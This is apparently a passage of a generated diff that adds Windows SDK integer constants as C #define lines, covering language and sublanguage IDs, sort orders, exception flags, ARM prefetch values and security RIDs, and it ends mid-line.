+#define _MM_HINT_NTA 0x0 +#define ANYSIZE_ARRAY 0x1 +#define MEMORY_ALLOCATION_ALIGNMENT 0x10 +#define X86_CACHE_ALIGNMENT_SIZE 0x40 +#define ARM_CACHE_ALIGNMENT_SIZE 0x80 +#define SYSTEM_CACHE_ALIGNMENT_SIZE 0x40 +#define PRAGMA_DEPRECATED_DDK 0x1 +#define UCSCHAR_INVALID_CHARACTER 0xffffffff +#define MIN_UCSCHAR 0x0 +#define MAX_UCSCHAR 0x10ffff +#define MAXIMUM_PROC_PER_GROUP 0x40 +#define MAXIMUM_PROCESSORS 0x40 +#define APPLICATION_ERROR_MASK 0x20000000 +#define ERROR_SEVERITY_SUCCESS 0x0 +#define ERROR_SEVERITY_INFORMATIONAL 0x40000000 +#define ERROR_SEVERITY_WARNING 0x80000000 +#define ERROR_SEVERITY_ERROR 0xc0000000 +#define MAXLONGLONG 0x7fffffffffffffff +#define UNICODE_STRING_MAX_CHARS 0x7fff +#define MINCHAR 0x80 +#define MAXCHAR 0x7f +#define MINSHORT 0x8000 +#define MAXSHORT 0x7fff +#define MINLONG 0x80000000 +#define MAXLONG 0x7fffffff +#define MAXBYTE 0xff +#define MAXWORD 0xffff +#define MAXDWORD 0xffffffff +#define ENCLAVE_SHORT_ID_LENGTH 0x10 +#define ENCLAVE_LONG_ID_LENGTH 0x20 +#define VER_SERVER_NT 0x80000000 +#define VER_WORKSTATION_NT 0x40000000 +#define VER_SUITE_SMALLBUSINESS 0x1 +#define VER_SUITE_ENTERPRISE 0x2 +#define VER_SUITE_BACKOFFICE 0x4 +#define VER_SUITE_COMMUNICATIONS 0x8 +#define VER_SUITE_TERMINAL 0x10 +#define VER_SUITE_SMALLBUSINESS_RESTRICTED 0x20 +#define VER_SUITE_EMBEDDEDNT 0x40 +#define VER_SUITE_DATACENTER 0x80 +#define VER_SUITE_SINGLEUSERTS 0x100 +#define VER_SUITE_PERSONAL 0x200 +#define VER_SUITE_BLADE 0x400 +#define VER_SUITE_EMBEDDED_RESTRICTED 0x800 +#define VER_SUITE_SECURITY_APPLIANCE 0x1000 +#define VER_SUITE_STORAGE_SERVER 0x2000 +#define VER_SUITE_COMPUTE_SERVER 0x4000 +#define VER_SUITE_WH_SERVER 0x8000 +#define VER_SUITE_MULTIUSERTS 0x20000 +#define LANG_NEUTRAL 0x0 +#define LANG_INVARIANT 0x7f +#define LANG_AFRIKAANS 0x36 +#define LANG_ALBANIAN 0x1c +#define LANG_ALSATIAN 0x84 +#define LANG_AMHARIC 0x5e +#define LANG_ARABIC 0x1 +#define LANG_ARMENIAN 0x2b +#define LANG_ASSAMESE 0x4d +#define LANG_AZERI 0x2c +#define LANG_AZERBAIJANI 0x2c +#define LANG_BANGLA 0x45 +#define LANG_BASHKIR 0x6d +#define LANG_BASQUE 0x2d +#define LANG_BELARUSIAN 0x23 +#define LANG_BENGALI 0x45 +#define LANG_BRETON 0x7e +#define LANG_BOSNIAN 0x1a +#define LANG_BOSNIAN_NEUTRAL 0x781a +#define LANG_BULGARIAN 0x2 +#define LANG_CATALAN 0x3 +#define LANG_CENTRAL_KURDISH 0x92 +#define LANG_CHEROKEE 0x5c +#define LANG_CHINESE 0x4 +#define LANG_CHINESE_SIMPLIFIED 0x4 +#define LANG_CHINESE_TRADITIONAL 0x7c04 +#define LANG_CORSICAN 0x83 +#define LANG_CROATIAN 0x1a +#define LANG_CZECH 0x5 +#define LANG_DANISH 0x6 +#define LANG_DARI 0x8c +#define LANG_DIVEHI 0x65 +#define LANG_DUTCH 0x13 +#define LANG_ENGLISH 0x9 +#define LANG_ESTONIAN 0x25 +#define LANG_FAEROESE 0x38 +#define LANG_FARSI 0x29 +#define LANG_FILIPINO 0x64 +#define LANG_FINNISH 0xb +#define LANG_FRENCH 0xc +#define LANG_FRISIAN 0x62 +#define LANG_FULAH 0x67 +#define LANG_GALICIAN 0x56 +#define LANG_GEORGIAN 0x37 +#define LANG_GERMAN 0x7 +#define LANG_GREEK 0x8 +#define LANG_GREENLANDIC 0x6f +#define LANG_GUJARATI 0x47 +#define LANG_HAUSA 0x68 +#define LANG_HAWAIIAN 0x75 +#define LANG_HEBREW 0xd +#define LANG_HINDI 0x39 +#define LANG_HUNGARIAN 0xe +#define LANG_ICELANDIC 0xf +#define LANG_IGBO 0x70 +#define LANG_INDONESIAN 0x21 +#define LANG_INUKTITUT 0x5d +#define LANG_IRISH 0x3c +#define LANG_ITALIAN 0x10 +#define LANG_JAPANESE 0x11 +#define LANG_KANNADA 0x4b +#define LANG_KASHMIRI 0x60 +#define LANG_KAZAK 0x3f +#define LANG_KHMER 0x53 +#define LANG_KICHE 0x86 +#define LANG_KINYARWANDA 0x87 +#define LANG_KONKANI 0x57 +#define LANG_KOREAN 0x12 +#define LANG_KYRGYZ 0x40 +#define LANG_LAO 0x54 +#define LANG_LATVIAN 0x26 +#define LANG_LITHUANIAN 0x27 +#define LANG_LOWER_SORBIAN 0x2e +#define LANG_LUXEMBOURGISH 0x6e +#define LANG_MACEDONIAN 0x2f +#define LANG_MALAY 0x3e +#define LANG_MALAYALAM 0x4c +#define LANG_MALTESE 0x3a +#define LANG_MANIPURI 0x58 +#define LANG_MAORI 0x81 +#define LANG_MAPUDUNGUN 0x7a +#define LANG_MARATHI 0x4e +#define LANG_MOHAWK 0x7c +#define LANG_MONGOLIAN 0x50 +#define LANG_NEPALI 0x61 +#define LANG_NORWEGIAN 0x14 +#define LANG_OCCITAN 0x82 +#define LANG_ODIA 0x48 +#define LANG_ORIYA 0x48 +#define LANG_PASHTO 0x63 +#define LANG_PERSIAN 0x29 +#define LANG_POLISH 0x15 +#define LANG_PORTUGUESE 0x16 +#define LANG_PULAR 0x67 +#define LANG_PUNJABI 0x46 +#define LANG_QUECHUA 0x6b +#define LANG_ROMANIAN 0x18 +#define LANG_ROMANSH 0x17 +#define LANG_RUSSIAN 0x19 +#define LANG_SAKHA 0x85 +#define LANG_SAMI 0x3b +#define LANG_SANSKRIT 0x4f +#define LANG_SCOTTISH_GAELIC 0x91 +#define LANG_SERBIAN 0x1a +#define LANG_SERBIAN_NEUTRAL 0x7c1a +#define LANG_SINDHI 0x59 +#define LANG_SINHALESE 0x5b +#define LANG_SLOVAK 0x1b +#define LANG_SLOVENIAN 0x24 +#define LANG_SOTHO 0x6c +#define LANG_SPANISH 0xa +#define LANG_SWAHILI 0x41 +#define LANG_SWEDISH 0x1d +#define LANG_SYRIAC 0x5a +#define LANG_TAJIK 0x28 +#define LANG_TAMAZIGHT 0x5f +#define LANG_TAMIL 0x49 +#define LANG_TATAR 0x44 +#define LANG_TELUGU 0x4a +#define LANG_THAI 0x1e +#define LANG_TIBETAN 0x51 +#define LANG_TIGRIGNA 0x73 +#define LANG_TIGRINYA 0x73 +#define LANG_TSWANA 0x32 +#define LANG_TURKISH 0x1f +#define LANG_TURKMEN 0x42 +#define LANG_UIGHUR 0x80 +#define LANG_UKRAINIAN 0x22 +#define LANG_UPPER_SORBIAN 0x2e +#define LANG_URDU 0x20 +#define LANG_UZBEK 0x43 +#define LANG_VALENCIAN 0x3 +#define LANG_VIETNAMESE 0x2a +#define LANG_WELSH 0x52 +#define LANG_WOLOF 0x88 +#define LANG_XHOSA 0x34 +#define LANG_YAKUT 0x85 +#define LANG_YI 0x78 +#define LANG_YORUBA 0x6a +#define LANG_ZULU 0x35 +#define SUBLANG_NEUTRAL 0x0 +#define SUBLANG_DEFAULT 0x1 +#define SUBLANG_SYS_DEFAULT 0x2 +#define SUBLANG_CUSTOM_DEFAULT 0x3 +#define SUBLANG_CUSTOM_UNSPECIFIED 0x4 +#define SUBLANG_UI_CUSTOM_DEFAULT 0x5 +#define SUBLANG_AFRIKAANS_SOUTH_AFRICA 0x1 +#define SUBLANG_ALBANIAN_ALBANIA 0x1 +#define SUBLANG_ALSATIAN_FRANCE 0x1 +#define SUBLANG_AMHARIC_ETHIOPIA 0x1 +#define SUBLANG_ARABIC_SAUDI_ARABIA 0x1 +#define SUBLANG_ARABIC_IRAQ 0x2 +#define SUBLANG_ARABIC_EGYPT 0x3 +#define SUBLANG_ARABIC_LIBYA 0x4 +#define SUBLANG_ARABIC_ALGERIA 0x5 +#define SUBLANG_ARABIC_MOROCCO 0x6 +#define SUBLANG_ARABIC_TUNISIA 0x7 +#define SUBLANG_ARABIC_OMAN 0x8 +#define SUBLANG_ARABIC_YEMEN 0x9 +#define SUBLANG_ARABIC_SYRIA 0xa +#define SUBLANG_ARABIC_JORDAN 0xb +#define SUBLANG_ARABIC_LEBANON 0xc +#define SUBLANG_ARABIC_KUWAIT 0xd +#define SUBLANG_ARABIC_UAE 0xe +#define SUBLANG_ARABIC_BAHRAIN 0xf +#define SUBLANG_ARABIC_QATAR 0x10 +#define SUBLANG_ARMENIAN_ARMENIA 0x1 +#define SUBLANG_ASSAMESE_INDIA 0x1 +#define SUBLANG_AZERI_LATIN 0x1 +#define SUBLANG_AZERI_CYRILLIC 0x2 +#define SUBLANG_AZERBAIJANI_AZERBAIJAN_LATIN 0x1 +#define SUBLANG_AZERBAIJANI_AZERBAIJAN_CYRILLIC 0x2 +#define SUBLANG_BANGLA_INDIA 0x1 +#define SUBLANG_BANGLA_BANGLADESH 0x2 +#define SUBLANG_BASHKIR_RUSSIA 0x1 +#define SUBLANG_BASQUE_BASQUE 0x1 +#define SUBLANG_BELARUSIAN_BELARUS 0x1 +#define SUBLANG_BENGALI_INDIA 0x1 +#define SUBLANG_BENGALI_BANGLADESH 0x2 +#define SUBLANG_BOSNIAN_BOSNIA_HERZEGOVINA_LATIN 0x5 +#define SUBLANG_BOSNIAN_BOSNIA_HERZEGOVINA_CYRILLIC 0x8 +#define SUBLANG_BRETON_FRANCE 0x1 +#define SUBLANG_BULGARIAN_BULGARIA 0x1 +#define SUBLANG_CATALAN_CATALAN 0x1 +#define SUBLANG_CENTRAL_KURDISH_IRAQ 0x1 +#define SUBLANG_CHEROKEE_CHEROKEE 0x1 +#define SUBLANG_CHINESE_TRADITIONAL 0x1 +#define SUBLANG_CHINESE_SIMPLIFIED 0x2 +#define SUBLANG_CHINESE_HONGKONG 0x3 +#define SUBLANG_CHINESE_SINGAPORE 0x4 +#define SUBLANG_CHINESE_MACAU 0x5 +#define SUBLANG_CORSICAN_FRANCE 0x1 +#define SUBLANG_CZECH_CZECH_REPUBLIC 0x1 +#define SUBLANG_CROATIAN_CROATIA 0x1 +#define SUBLANG_CROATIAN_BOSNIA_HERZEGOVINA_LATIN 0x4 +#define SUBLANG_DANISH_DENMARK 0x1 +#define SUBLANG_DARI_AFGHANISTAN 0x1 +#define SUBLANG_DIVEHI_MALDIVES 0x1 +#define SUBLANG_DUTCH 0x1 +#define SUBLANG_DUTCH_BELGIAN 0x2 +#define SUBLANG_ENGLISH_US 0x1 +#define SUBLANG_ENGLISH_UK 0x2 +#define SUBLANG_ENGLISH_AUS 0x3 +#define SUBLANG_ENGLISH_CAN 0x4 +#define SUBLANG_ENGLISH_NZ 0x5 +#define SUBLANG_ENGLISH_EIRE 0x6 +#define SUBLANG_ENGLISH_SOUTH_AFRICA 0x7 +#define SUBLANG_ENGLISH_JAMAICA 0x8 +#define SUBLANG_ENGLISH_CARIBBEAN 0x9 +#define SUBLANG_ENGLISH_BELIZE 0xa +#define SUBLANG_ENGLISH_TRINIDAD 0xb +#define SUBLANG_ENGLISH_ZIMBABWE 0xc +#define SUBLANG_ENGLISH_PHILIPPINES 0xd +#define SUBLANG_ENGLISH_INDIA 0x10 +#define SUBLANG_ENGLISH_MALAYSIA 0x11 +#define SUBLANG_ENGLISH_SINGAPORE 0x12 +#define SUBLANG_ESTONIAN_ESTONIA 0x1 +#define SUBLANG_FAEROESE_FAROE_ISLANDS 0x1 +#define SUBLANG_FILIPINO_PHILIPPINES 0x1 +#define SUBLANG_FINNISH_FINLAND 0x1 +#define SUBLANG_FRENCH 0x1 +#define SUBLANG_FRENCH_BELGIAN 0x2 +#define SUBLANG_FRENCH_CANADIAN 0x3 +#define SUBLANG_FRENCH_SWISS 0x4 +#define SUBLANG_FRENCH_LUXEMBOURG 0x5 +#define SUBLANG_FRENCH_MONACO 0x6 +#define SUBLANG_FRISIAN_NETHERLANDS 0x1 +#define SUBLANG_FULAH_SENEGAL 0x2 +#define SUBLANG_GALICIAN_GALICIAN 0x1 +#define SUBLANG_GEORGIAN_GEORGIA 0x1 +#define SUBLANG_GERMAN 0x1 +#define SUBLANG_GERMAN_SWISS 0x2 +#define SUBLANG_GERMAN_AUSTRIAN 0x3 +#define SUBLANG_GERMAN_LUXEMBOURG 0x4 +#define SUBLANG_GERMAN_LIECHTENSTEIN 0x5 +#define SUBLANG_GREEK_GREECE 0x1 +#define SUBLANG_GREENLANDIC_GREENLAND 0x1 +#define SUBLANG_GUJARATI_INDIA 0x1 +#define SUBLANG_HAUSA_NIGERIA_LATIN 0x1 +#define SUBLANG_HAWAIIAN_US 0x1 +#define SUBLANG_HEBREW_ISRAEL 0x1 +#define SUBLANG_HINDI_INDIA 0x1 +#define SUBLANG_HUNGARIAN_HUNGARY 0x1 +#define SUBLANG_ICELANDIC_ICELAND 0x1 +#define SUBLANG_IGBO_NIGERIA 0x1 +#define SUBLANG_INDONESIAN_INDONESIA 0x1 +#define SUBLANG_INUKTITUT_CANADA 0x1 +#define SUBLANG_INUKTITUT_CANADA_LATIN 0x2 +#define SUBLANG_IRISH_IRELAND 0x2 +#define SUBLANG_ITALIAN 0x1 +#define SUBLANG_ITALIAN_SWISS 0x2 +#define SUBLANG_JAPANESE_JAPAN 0x1 +#define SUBLANG_KANNADA_INDIA 0x1 +#define SUBLANG_KASHMIRI_SASIA 0x2 +#define SUBLANG_KASHMIRI_INDIA 0x2 +#define SUBLANG_KAZAK_KAZAKHSTAN 0x1 +#define SUBLANG_KHMER_CAMBODIA 0x1 +#define SUBLANG_KICHE_GUATEMALA 0x1 +#define SUBLANG_KINYARWANDA_RWANDA 0x1 +#define SUBLANG_KONKANI_INDIA 0x1 +#define SUBLANG_KOREAN 0x1 +#define SUBLANG_KYRGYZ_KYRGYZSTAN 0x1 +#define SUBLANG_LAO_LAO 0x1 +#define SUBLANG_LATVIAN_LATVIA 0x1 +#define SUBLANG_LITHUANIAN 0x1 +#define SUBLANG_LOWER_SORBIAN_GERMANY 0x2 +#define SUBLANG_LUXEMBOURGISH_LUXEMBOURG 0x1 +#define SUBLANG_MACEDONIAN_MACEDONIA 0x1 +#define SUBLANG_MALAY_MALAYSIA 0x1 +#define SUBLANG_MALAY_BRUNEI_DARUSSALAM 0x2 +#define SUBLANG_MALAYALAM_INDIA 0x1 +#define SUBLANG_MALTESE_MALTA 0x1 +#define SUBLANG_MAORI_NEW_ZEALAND 0x1 +#define SUBLANG_MAPUDUNGUN_CHILE 0x1 +#define SUBLANG_MARATHI_INDIA 0x1 +#define SUBLANG_MOHAWK_MOHAWK 0x1 +#define SUBLANG_MONGOLIAN_CYRILLIC_MONGOLIA 0x1 +#define SUBLANG_MONGOLIAN_PRC 0x2 +#define SUBLANG_NEPALI_INDIA 0x2 +#define SUBLANG_NEPALI_NEPAL 0x1 +#define SUBLANG_NORWEGIAN_BOKMAL 0x1 +#define SUBLANG_NORWEGIAN_NYNORSK 0x2 +#define SUBLANG_OCCITAN_FRANCE 0x1 +#define SUBLANG_ODIA_INDIA 0x1 +#define SUBLANG_ORIYA_INDIA 0x1 +#define SUBLANG_PASHTO_AFGHANISTAN 0x1 +#define SUBLANG_PERSIAN_IRAN 0x1 +#define SUBLANG_POLISH_POLAND 0x1 +#define SUBLANG_PORTUGUESE 0x2 +#define SUBLANG_PORTUGUESE_BRAZILIAN 0x1 +#define SUBLANG_PULAR_SENEGAL 0x2 +#define SUBLANG_PUNJABI_INDIA 0x1 +#define SUBLANG_PUNJABI_PAKISTAN 0x2 +#define SUBLANG_QUECHUA_BOLIVIA 0x1 +#define SUBLANG_QUECHUA_ECUADOR 0x2 +#define SUBLANG_QUECHUA_PERU 0x3 +#define SUBLANG_ROMANIAN_ROMANIA 0x1 +#define SUBLANG_ROMANSH_SWITZERLAND 0x1 +#define SUBLANG_RUSSIAN_RUSSIA 0x1 +#define SUBLANG_SAKHA_RUSSIA 0x1 +#define SUBLANG_SAMI_NORTHERN_NORWAY 0x1 +#define SUBLANG_SAMI_NORTHERN_SWEDEN 0x2 +#define SUBLANG_SAMI_NORTHERN_FINLAND 0x3 +#define SUBLANG_SAMI_LULE_NORWAY 0x4 +#define SUBLANG_SAMI_LULE_SWEDEN 0x5 +#define SUBLANG_SAMI_SOUTHERN_NORWAY 0x6 +#define SUBLANG_SAMI_SOUTHERN_SWEDEN 0x7 +#define SUBLANG_SAMI_SKOLT_FINLAND 0x8 +#define SUBLANG_SAMI_INARI_FINLAND 0x9 +#define SUBLANG_SANSKRIT_INDIA 0x1 +#define SUBLANG_SCOTTISH_GAELIC 0x1 +#define SUBLANG_SERBIAN_BOSNIA_HERZEGOVINA_LATIN 0x6 +#define SUBLANG_SERBIAN_BOSNIA_HERZEGOVINA_CYRILLIC 0x7 +#define SUBLANG_SERBIAN_MONTENEGRO_LATIN 0xb +#define SUBLANG_SERBIAN_MONTENEGRO_CYRILLIC 0xc +#define SUBLANG_SERBIAN_SERBIA_LATIN 0x9 +#define SUBLANG_SERBIAN_SERBIA_CYRILLIC 0xa +#define SUBLANG_SERBIAN_CROATIA 0x1 +#define SUBLANG_SERBIAN_LATIN 0x2 +#define SUBLANG_SERBIAN_CYRILLIC 0x3 +#define SUBLANG_SINDHI_INDIA 0x1 +#define SUBLANG_SINDHI_PAKISTAN 0x2 +#define SUBLANG_SINDHI_AFGHANISTAN 0x2 +#define SUBLANG_SINHALESE_SRI_LANKA 0x1 +#define SUBLANG_SOTHO_NORTHERN_SOUTH_AFRICA 0x1 +#define SUBLANG_SLOVAK_SLOVAKIA 0x1 +#define SUBLANG_SLOVENIAN_SLOVENIA 0x1 +#define SUBLANG_SPANISH 0x1 +#define SUBLANG_SPANISH_MEXICAN 0x2 +#define SUBLANG_SPANISH_MODERN 0x3 +#define SUBLANG_SPANISH_GUATEMALA 0x4 +#define SUBLANG_SPANISH_COSTA_RICA 0x5 +#define SUBLANG_SPANISH_PANAMA 0x6 +#define SUBLANG_SPANISH_DOMINICAN_REPUBLIC 0x7 +#define SUBLANG_SPANISH_VENEZUELA 0x8 +#define SUBLANG_SPANISH_COLOMBIA 0x9 +#define SUBLANG_SPANISH_PERU 0xa +#define SUBLANG_SPANISH_ARGENTINA 0xb +#define SUBLANG_SPANISH_ECUADOR 0xc +#define SUBLANG_SPANISH_CHILE 0xd +#define SUBLANG_SPANISH_URUGUAY 0xe +#define SUBLANG_SPANISH_PARAGUAY 0xf +#define SUBLANG_SPANISH_BOLIVIA 0x10 +#define SUBLANG_SPANISH_EL_SALVADOR 0x11 +#define SUBLANG_SPANISH_HONDURAS 0x12 +#define SUBLANG_SPANISH_NICARAGUA 0x13 +#define SUBLANG_SPANISH_PUERTO_RICO 0x14 +#define SUBLANG_SPANISH_US 0x15 +#define SUBLANG_SWAHILI_KENYA 0x1 +#define SUBLANG_SWEDISH 0x1 +#define SUBLANG_SWEDISH_FINLAND 0x2 +#define SUBLANG_SYRIAC_SYRIA 0x1 +#define SUBLANG_TAJIK_TAJIKISTAN 0x1 +#define SUBLANG_TAMAZIGHT_ALGERIA_LATIN 0x2 +#define SUBLANG_TAMAZIGHT_MOROCCO_TIFINAGH 0x4 +#define SUBLANG_TAMIL_INDIA 0x1 +#define SUBLANG_TAMIL_SRI_LANKA 0x2 +#define SUBLANG_TATAR_RUSSIA 0x1 +#define SUBLANG_TELUGU_INDIA 0x1 +#define SUBLANG_THAI_THAILAND 0x1 +#define SUBLANG_TIBETAN_PRC 0x1 +#define SUBLANG_TIGRIGNA_ERITREA 0x2 +#define SUBLANG_TIGRINYA_ERITREA 0x2 +#define SUBLANG_TIGRINYA_ETHIOPIA 0x1 +#define SUBLANG_TSWANA_BOTSWANA 0x2 +#define SUBLANG_TSWANA_SOUTH_AFRICA 0x1 +#define SUBLANG_TURKISH_TURKEY 0x1 +#define SUBLANG_TURKMEN_TURKMENISTAN 0x1 +#define SUBLANG_UIGHUR_PRC 0x1 +#define SUBLANG_UKRAINIAN_UKRAINE 0x1 +#define SUBLANG_UPPER_SORBIAN_GERMANY 0x1 +#define SUBLANG_URDU_PAKISTAN 0x1 +#define SUBLANG_URDU_INDIA 0x2 +#define SUBLANG_UZBEK_LATIN 0x1 +#define SUBLANG_UZBEK_CYRILLIC 0x2 +#define SUBLANG_VALENCIAN_VALENCIA 0x2 +#define SUBLANG_VIETNAMESE_VIETNAM 0x1 +#define SUBLANG_WELSH_UNITED_KINGDOM 0x1 +#define SUBLANG_WOLOF_SENEGAL 0x1 +#define SUBLANG_XHOSA_SOUTH_AFRICA 0x1 +#define SUBLANG_YAKUT_RUSSIA 0x1 +#define SUBLANG_YI_PRC 0x1 +#define SUBLANG_YORUBA_NIGERIA 0x1 +#define SUBLANG_ZULU_SOUTH_AFRICA 0x1 +#define SORT_DEFAULT 0x0 +#define SORT_INVARIANT_MATH 0x1 +#define SORT_JAPANESE_XJIS 0x0 +#define SORT_JAPANESE_UNICODE 0x1 +#define SORT_JAPANESE_RADICALSTROKE 0x4 +#define SORT_CHINESE_BIG5 0x0 +#define SORT_CHINESE_PRCP 0x0 +#define SORT_CHINESE_UNICODE 0x1 +#define SORT_CHINESE_PRC 0x2 +#define SORT_CHINESE_BOPOMOFO 0x3 +#define SORT_CHINESE_RADICALSTROKE 0x4 +#define SORT_KOREAN_KSC 0x0 +#define SORT_KOREAN_UNICODE 0x1 +#define SORT_GERMAN_PHONE_BOOK 0x1 +#define SORT_HUNGARIAN_DEFAULT 0x0 +#define SORT_HUNGARIAN_TECHNICAL 0x1 +#define SORT_GEORGIAN_TRADITIONAL 0x0 +#define SORT_GEORGIAN_MODERN 0x1 +#define NLS_VALID_LOCALE_MASK 0xfffff +#define LOCALE_NAME_MAX_LENGTH 0x55 +#define LOCALE_TRANSIENT_KEYBOARD1 0x2000 +#define LOCALE_TRANSIENT_KEYBOARD2 0x2400 +#define LOCALE_TRANSIENT_KEYBOARD3 0x2800 +#define LOCALE_TRANSIENT_KEYBOARD4 0x2c00 +#define LOCALE_UNASSIGNED_LCID 0x1000 +#define MAXIMUM_WAIT_OBJECTS 0x40 +#define MAXIMUM_SUSPEND_COUNT 0x7f +#define XSTATE_CONTEXT_FLAG_LOOKASIDE 0x1 +#define PF_TEMPORAL_LEVEL_1 0x1 +#define PF_TEMPORAL_LEVEL_2 0x2 +#define PF_TEMPORAL_LEVEL_3 0x3 +#define PF_NON_TEMPORAL_LEVEL_ALL 0x0 +#define EXCEPTION_READ_FAULT 0x0 +#define EXCEPTION_WRITE_FAULT 0x1 +#define EXCEPTION_EXECUTE_FAULT 0x8 +#define INITIAL_MXCSR 0x1f80 +#define INITIAL_FPCSR 0x27f +#define RUNTIME_FUNCTION_INDIRECT 0x1 +#define UNW_FLAG_NO_EPILOGUE 0x80000000 +#define UNWIND_CHAIN_LIMIT 0x20 +// SKIPPED const OUT_OF_PROCESS_FUNCTION_TABLE_CALLBACK_EXPORT_NAME: non-integer constant +#define INITIAL_CPSR 0x10 +#define INITIAL_FPSCR 0x0 +#define ARM_MAX_BREAKPOINTS 0x8 +#define ARM_MAX_WATCHPOINTS 0x1 +#define ARM64_PREFETCH_PLD 0x0 +#define ARM64_PREFETCH_PLI 0x8 +#define ARM64_PREFETCH_PST 0x10 +#define ARM64_PREFETCH_L1 0x0 +#define ARM64_PREFETCH_L2 0x2 +#define ARM64_PREFETCH_L3 0x4 +#define ARM64_PREFETCH_KEEP 0x0 +#define ARM64_PREFETCH_STRM 0x1 +#define _ARM64_MULT_INTRINS_SUPPORTED 0x0 +#define ARM64_MAX_BREAKPOINTS 0x8 +#define ARM64_MAX_WATCHPOINTS 0x2 +#define NONVOL_INT_NUMREG_ARM64 0xb +#define NONVOL_FP_NUMREG_ARM64 0x8 +#define BREAK_DEBUG_BASE 0x80000 +#define ASSERT_BREAKPOINT 0x80003 +#define SIZE_OF_80387_REGISTERS 0x50 +#define MAXIMUM_SUPPORTED_EXTENSION 0x200 +#define EXCEPTION_NONCONTINUABLE 0x1 +#define EXCEPTION_UNWINDING 0x2 +#define EXCEPTION_EXIT_UNWIND 0x4 +#define EXCEPTION_STACK_INVALID 0x8 +#define EXCEPTION_NESTED_CALL 0x10 +#define EXCEPTION_TARGET_UNWIND 0x20 +#define EXCEPTION_COLLIDED_UNWIND 0x40 +#define EXCEPTION_SOFTWARE_ORIGINATE 0x80 +#define EXCEPTION_MAXIMUM_PARAMETERS 0xf +#define ACCESS_SYSTEM_SECURITY 0x1000000 +#define MAXIMUM_ALLOWED 0x2000000 +#define SID_REVISION 0x1 +#define SID_MAX_SUB_AUTHORITIES 0xf +#define SID_RECOMMENDED_SUB_AUTHORITIES 0x1 +#define SID_HASH_SIZE 0x20 +#define SECURITY_NULL_RID 0 +#define SECURITY_WORLD_RID 0 +#define SECURITY_LOCAL_RID 0 +#define SECURITY_LOCAL_LOGON_RID 1 +#define SECURITY_CREATOR_OWNER_RID 0 +#define SECURITY_CREATOR_GROUP_RID 1 +#define SECURITY_CREATOR_OWNER_SERVER_RID 2 +#define SECURITY_CREATOR_GROUP_SERVER_RID 3 +#define SECURITY_CREATOR_OWNER_RIGHTS_RID 4 +#define SECURITY_DIALUP_RID 1 +#define SECURITY_NETWORK_RID 2 +#define SECURITY_BATCH_RID 3 +#define SECURITY_INTERACTIVE_RID 4 +#define SECURITY_LOGON_IDS_RID 5 +#define SECURITY_LOGON_IDS_RID_COUNT 3 +#define SECURITY_SERVICE_RID 6 +#define SECURITY_ANONYMOUS_LOGON_RID 7 +#define SECURITY_PROXY_RID 8 +#define SECURITY_ENTERPRISE_CONTROLLERS_RID 9 +#define SECURITY_SERVER_LOGON_RID 9 +#define SECURITY_PRINCIPAL_SELF_RID 10 +#define SECURITY_AUTHENTICATED_USER_RID 11 +#define SECURITY_RESTRICTED_CODE_RID 12 +#define SECURITY_TERMINAL_SERVER_RID 13 +#define SECURITY_REMOTE_LOGON_RID 14 +#define SECURITY_THIS_ORGANIZATION_RID 15 +#define SECURITY_IUSER_RID 17 +#define SECURITY_LOCAL_SYSTEM_RID 18 +#define SECURITY_LOCAL_SERVICE_RID 19 +#define SECURITY_NETWORK_SERVICE_RID 20 +#define SECURITY_NT_NON_UNIQUE 21 +#define SECURITY_NT_NON_UNIQUE_SUB_AUTH_COUNT 3 +#define SECURITY_ENTERPRISE_READONLY_CONTROLLERS_RID 22 +#define SECURITY_BUILTIN_DOMAIN_RID 32 +#define SECURITY_WRITE_RESTRICTED_CODE_RID 33 +#define SECURITY_PACKAGE_BASE_RID 64 +#define SECURITY_PACKAGE_RID_COUNT 2 +#define SECURITY_PACKAGE_NTLM_RID 10 +#define SECURITY_PACKAGE_SCHANNEL_RID 14 +#define SECURITY_PACKAGE_DIGEST_RID 21 +#define SECURITY_CRED_TYPE_BASE_RID 65 +#define SECURITY_CRED_TYPE_RID_COUNT 2 +#define SECURITY_CRED_TYPE_THIS_ORG_CERT_RID 1 +#define SECURITY_MIN_BASE_RID 80 +#define SECURITY_SERVICE_ID_BASE_RID 80 +#define SECURITY_SERVICE_ID_RID_COUNT 6 +#define SECURITY_RESERVED_ID_BASE_RID 81 +#define SECURITY_APPPOOL_ID_BASE_RID 82 +#define SECURITY_APPPOOL_ID_RID_COUNT 6 +#define SECURITY_VIRTUALSERVER_ID_BASE_RID 83 +#define SECURITY_VIRTUALSERVER_ID_RID_COUNT 6 +#define SECURITY_USERMODEDRIVERHOST_ID_BASE_RID 84 +#define SECURITY_USERMODEDRIVERHOST_ID_RID_COUNT 6 +#define SECURITY_CLOUD_INFRASTRUCTURE_SERVICES_ID_BASE_RID 85 +#define SECURITY_CLOUD_INFRASTRUCTURE_SERVICES_ID_RID_COUNT 6 +#define SECURITY_WMIHOST_ID_BASE_RID 86 +#define SECURITY_WMIHOST_ID_RID_COUNT 6 +#define SECURITY_TASK_ID_BASE_RID 87 +#define SECURITY_NFS_ID_BASE_RID 88 +#define SECURITY_COM_ID_BASE_RID 89 +#define SECURITY_WINDOW_MANAGER_BASE_RID 90 +#define SECURITY_RDV_GFX_BASE_RID 91 +#define SECURITY_DASHOST_ID_BASE_RID 92 +#define SECURITY_DASHOST_ID_RID_COUNT 6 +#define SECURITY_USERMANAGER_ID_BASE_RID 93 +#define SECURITY_USERMANAGER_ID_RID_COUNT 6 +#define SECURITY_WINRM_ID_BASE_RID 94 +#define SECURITY_WINRM_ID_RID_COUNT 6 +#define SECURITY_CCG_ID_BASE_RID 95 +#define SECURITY_UMFD_BASE_RID 96 +#define SECURITY_UNIQUIFIED_SERVICE_BASE_RID 97 +#define SECURITY_VIRTUALACCOUNT_ID_RID_COUNT 6 +#define SECURITY_EDGE_CLOUD_INFRASTRUCTURE_SERVICE_ID_BASE_RID 98 +#define SECURITY_RESTRICTED_SERVICES_BASE_RID 99 +#define SECURITY_RESTRICTED_SERVICES_RID_COUNT 6 +#define SECURITY_MAX_BASE_RID 111 +#define SECURITY_MAX_ALWAYS_FILTERED 999 +#define SECURITY_MIN_NEVER_FILTERED 1000 +#define SECURITY_OTHER_ORGANIZATION_RID 1000 +#define SECURITY_WINDOWSMOBILE_ID_BASE_RID 112 +#define SECURITY_INSTALLER_GROUP_CAPABILITY_BASE 0x20 +#define SECURITY_INSTALLER_GROUP_CAPABILITY_RID_COUNT 0x9 +#define SECURITY_INSTALLER_CAPABILITY_RID_COUNT 0xa +#define SECURITY_LOCAL_ACCOUNT_RID 113 +#define SECURITY_LOCAL_ACCOUNT_AND_ADMIN_RID 114 +#define 